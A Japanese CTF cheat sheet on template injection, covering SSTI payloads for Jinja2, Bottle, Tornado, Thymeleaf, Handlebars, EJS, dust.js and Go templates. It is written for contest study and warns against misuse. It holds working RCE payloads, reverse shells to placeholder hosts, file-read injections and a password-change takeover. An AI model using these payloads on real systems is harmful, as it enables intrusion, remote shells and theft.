この記事はCTFのWebセキュリティ Advent Calendar 2021の15日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
Template Injection
- テンプレートエンジン: データの表示場所を埋め込んだhtmlなどのテンプレートに対して、適切に変数の中身を埋め込んで出力するエンジン
- この機能を悪用し、悪意ある文字列を入力することで、意図しない変数の中身を表示したり、RCEを起こしたりする脆弱性。
- クライアント側かサーバ側かで2通りある。
- SSTI: Server-Side Template Injection, Server-Sideでテンプレートエンジンを動かして色々やる
- CSTI: Client-Side Template Injection, Client-Sideでテンプレートエンジンを動かして色々やる
Server-Side Template Injection
- Server-Side Template Injection
まずはこれを試そう
- GitHub - DiogoMRSilva/websitesVulnerableToSSTI: Simple websites vulnerable to Server Side Template Injections(SSTI)
- ここにリスト化されているけどめんどい…
{{2*2}}
Flask/Jinja2{{7*7}}[[5*5]]
Python
- ninja (flaskのrender_template_stringは内部でninja使ってる)
{{config}}
- RCE
{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}
- RCE2
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}
- リバースシェル
{{().__class__.__bases__[0].__subclasses__()[405](['bash -c %22bash -i %3E& /dev/tcp/yourserverip/yourport 0%3E&1%22'], shell=True)}}
- RCE
{{request[request.cookies['a']][request.cookies['b']][request.cookies['c']][request.cookies['d']][request.cookies['e']][request.cookies['f']]('subprocess')[request.cookies['g']](request.cookies['h'],shell=True)}}
として"a": "__class__"
,"b": "_get_file_stream"
,"c": "im_func"
,"d": "func_globals"
,"e": "__builtins__"
,"f": "__import__"
,"g": "check_output"
,"h": cmd
という感じ - ninjaで使える難読化
- BtS-CTF-Challenges-03-2021/README.md at master · PWrWhiteHats/BtS-CTF-Challenges-03-2021 · GitHub
{{request.__class__.__mro__}}
で色々出てくる最後にobjectがあるから、それを選択して、{{request.__class__.__mro__[11].__subclasses__()}}
とするとグローバル空間にあるものが色々でてくるから、{{request.__class__.__mro__[11].__subclasses__()[495].__dict__}}
とすると、メソッド一覧を出せるから、{{request.__class__.__mro__[11].__subclasses__()[495].get_flag()}}
みたいにして出す
- CTF的 Flaskに対する攻撃まとめ - Qiita
- Blog - Build yourself in
- 複数個所置けるところがあるが、それぞれ文字数制限がある場合
- CTFtime.org / Digital Overdose 2021 Autumn CTF / madlib
- %setを使うことで変数に代入して分割する
- なんと
config.update(key = _value)
とやることで、configに任意の値を永続化させておくことができる。config.update(a=config.__class__)
とやれば、そのあと違うリクエストでもconfig.a
はconfig.__class__
と同じになる(!)
- CTFtime.org / Digital Overdose 2021 Autumn CTF / madlib
- bottle
- SimpleTemplate Engine — Bottle 0.13-dev documentation
{{ __builtins__.get("__import__")("os").popen('ls -al /').read() }}
%
で任意pythonコードが書ける- 参考
- Tornade
- Server Side Template Injection in Tornado
- RCEコード
{% import os %}{{ os.popen("whoami").read() }}
{{globals()}}
これでも情報が抜けるみたい- 問題
Java
- Thymeleaf
<td th:utext="${fish.name}">
という感じの記法return "[input]";
みたいになってたらredirect:/customer/list
みたいにすればリダイレクトさせられるorg.thymeleaf.exceptions.TemplateInputException
- Exploiting SSTI in Thymeleaf | Acunetix
- Spring View Manipulation Vulnerability | Veracode
- SSTI (Server Side Template Injection) - HackTricks
- RCE
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("<cmd-here>").getInputStream()).next()}__::.x
${T(java.lang.Runtime).getRuntime().exec('<cmd-here>')}
- Reverse Shell
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("/bin/sh -i >& /dev/tcp/myip/1337 0>&1").getInputStream()).next()}__::.x
javascript, node.js
- Handlebars
{{変数名}}
で変数の中身を出せる- グローバル変数の中身全部出る
{{#each this}}{{@key}} => {{this.toString}}<br>{{/each}}
- 参考になる → Built-in Helpers | Handlebars
- registerPartialで指定されているレジスタを出力したいとき
hbs.registerPartial('FLAG', FLAG);
とあれば、{{> FLAG}}
- Defenit CTF 2020 の write-up - st98 の日記帳
- FLAGという言葉はつかえないけど、FLAGを得たいとき
{{.}}
で与えられている変数すべてをオブジェクトとして参照できる{{#each .}}{{@key}}<br>{{/each}}
のように#each というヘルパーを使えばオブジェクトに対して反復的に処理ができ、#each によって囲まれているブロックで @key という変数を使えば現在参照されているキーが得られる{{#each .}}{{@key}}<br>{{/each}}
で変数すべての名前が得られる{{#each .}}{{#if (lookup . "toString")}}{{.}}<br>{{/if}}{{/each}}
でその中でtoStringを持つものだけ出力する
- ejs
- RCE
<%- global.process.mainModule.require('child_process').execSync('cat app.js') %>
- LFI
<%- include('../../../app.js') %>
<%= 7*7 %>
- RCE
- dust.js
- Artsploit: [demo.paypal.com] Node.js code injection (RCE)
- DarkCTF Writeup - こんとろーるしーこんとろーるぶい
- dust-helper.jsのifヘルパーに脆弱性がある
- 指定する変数が配列ならサニタイズはされず、
msg[]='-require('child_process').exec('curl [URL]')-'
とすると上手くいくか確認できる。
- Artsploit: [demo.paypal.com] Node.js code injection (RCE)
Go
- templates
- template - The Go Programming Language
{{goWAF}}
こういう感じの構文- goWAF
{{print "Test"}}
とやると、Testが出力される。これは単にprint("Test")
を呼んでいる感じ。こういう感じに関数呼び出しができる- 入れ子構造にしたいときは
{{f(g "arg")}}
みたいにすると、f(g("arg"))
という呼び出しになる
- Go SSTI Method Confusion
{{.System "id"}}
でRCE達成{{}.File "/etc/passwd"}
でLFI達成{{.}}
で与えられてる変数が全部見れる
- CTFtime.org / H@cktivityCon 2021 CTF / Go Blog
- 全ページに表示される自分の名前部分にSSTIの脆弱性がある
- 投稿サイトなのだが、投稿されたポストを見ると
{{.Post.Author.Username}}
のような感じでポスト者の情報がテンプレートに与えられている - なので、adminが投稿したポストを全ページにあるSSTIを利用して
{{.}}
とやるとadmin(投稿者)にまつわる色々情報が見えてしまう - この情報からadminのメールアドレスを抜き出す
.Post.Author
はUser構造体になっていて、関数としてChangePasswordを持っている- SSTIでメソッドを呼び出すこともできるので、
{{.Post.Author.ChangePassword "NewPassword"}}
とすればパスワード変更ができ、TakeOver
Client-Side Template Injection
- できてXSSな気がするが…
- 以下のようなエンジンが狙われる
- AngularJS
- dangerouslySetInnerHTMLが肝らしいがよくわかってない
- ReactJS
- AngularJS